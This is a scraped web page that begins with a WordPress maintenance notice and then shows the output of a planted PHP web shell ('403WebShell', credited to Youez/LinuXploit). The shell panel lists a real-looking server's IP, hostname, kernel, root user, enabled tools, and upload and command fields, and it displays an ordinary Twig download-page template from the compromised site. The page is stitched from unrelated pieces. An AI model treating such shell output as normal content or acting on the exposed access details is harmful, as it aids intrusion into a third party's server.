WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.240
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/templates/static/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/templates/static/resources.html.twig
{% extends 'static_base.html.twig' %}

{% block title %}Download Resources{% endblock %}

{% block body %}
    <div class="terms_condition download_page">
        <div class="wrap">
            <div class="single_page_title">
                <h2>{{ type.title|title }}</h2>
            </div>
            <ul class="site_downloads">
                {% for resource in resources %}
                    <li>
                        <a href="{{ asset('uploads/page_images/'~resource.file) }}"  class="single_download" target="_blank">
                            <div class="download_desc">
                                <h4>{{ resource.title }}</h4>
                                <p>{{ resource.description }}</p>
                            </div>
                            <div class="download_btn" name="download_btn" value="{{ path('static_download_resource', {slug:resource.slug}) }}" >
                                Download
                                <svg width="10px" height="10px" viewBox="0 0 10 10" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
                                    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
                                        <g id="homepage" transform="translate(-869.000000, -1178.000000)" fill="#FFFFFF">
                                            <g id="Our--Servics" transform="translate(-43.000000, 597.000000)">
                                                <g id="cta" transform="translate(758.000000, 567.000000)">
                                                    <g id="Group-2" transform="translate(154.000000, 14.000000)">
                                                        <rect id="Rectangle" x="4" y="0" width="2" height="10" rx="1"></rect>
                                                        <rect id="Rectangle" transform="translate(5.000000, 5.000000) rotate(90.000000) translate(-5.000000, -5.000000) " x="4" y="0" width="2" height="10" rx="1"></rect>
                                                    </g>
                                                </g>
                                            </g>
                                        </g>
                                    </g>
                                </svg>
                            </div>
                        </a>
                    </li>
                {% endfor %}
            </ul>

        </div>
    </div>

{% endblock %}

{% block javascripts %}
    <script>
        let prevent = false
        $(".site_downloads").click(function (e) {
            //e.preventDefault();
            let name = e.target.getAttribute("name");
            prevent = name === "download_btn";

            if(!prevent){
                //download
                prevent=true;
                return;
            }
            e.preventDefault()

            window.location.href=e.target.getAttribute("value")
        })
    </script>
{% endblock %}

Youez - 2016 - github.com/yon3zu
LinuXploit